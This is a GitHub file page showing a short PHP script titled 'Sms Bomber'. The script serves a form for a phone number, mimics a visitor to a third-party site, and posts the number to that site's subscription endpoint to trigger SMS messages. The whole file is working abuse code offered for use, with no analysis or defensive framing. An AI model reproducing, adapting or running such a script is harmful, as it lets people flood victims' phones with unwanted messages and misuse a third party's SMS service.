-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathsms_bomber.php
More file actions
77 lines (70 loc) · 1.9 KB
/
sms_bomber.php
File metadata and controls
77 lines (70 loc) · 1.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
/**
* Sms Bomber
* By: BlackM4ster 24/06/2016
* https://www.youtube.com/watch?v=x0wJXodckQA
* https://github.com/isc30/SmallProjects/blob/master/sms_bomber.php
*/
class Application
{
/** Application Constructor */
public function __construct()
{
if (isset($_POST['number']))
{
echo $this->sendSms($_POST['number']) ? 'SMS enviado' : 'Ha ocurrido un error';
}
else
{
echo $this->getForm();
}
}
/** @return string */
protected function getForm()
{
/** @lang HTML */
return <<<HTML
<form action="" method="POST">
Number: <input type="text" name="number" value="" />
<input type="submit" value="Send SMS" />
</form>
HTML;
}
/**
* @param integer $number
* @return bool
*/
protected function sendSms($number)
{
$cookieFilename = 'cookie.tmp';
// Simulate standard visitor
$ch = curl_init('http://signin.applicateka.com');
curl_setopt_array($ch, array
(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => $cookieFilename,
CURLOPT_COOKIEFILE => $cookieFilename
));
curl_exec($ch);
// Send SMS
$ch = curl_init('http://signin.applicateka.com/main/subscription/try');
curl_setopt_array($ch, array
(
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => $cookieFilename,
CURLOPT_COOKIEFILE => $cookieFilename,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(array
(
'subscription' => true,
'method' => 'web',
'operator' => false,
'msisdn' => $number
))
));
curl_exec($ch);
$info = curl_getinfo($ch);
return $info['http_code'] === 302;
}
}
new Application();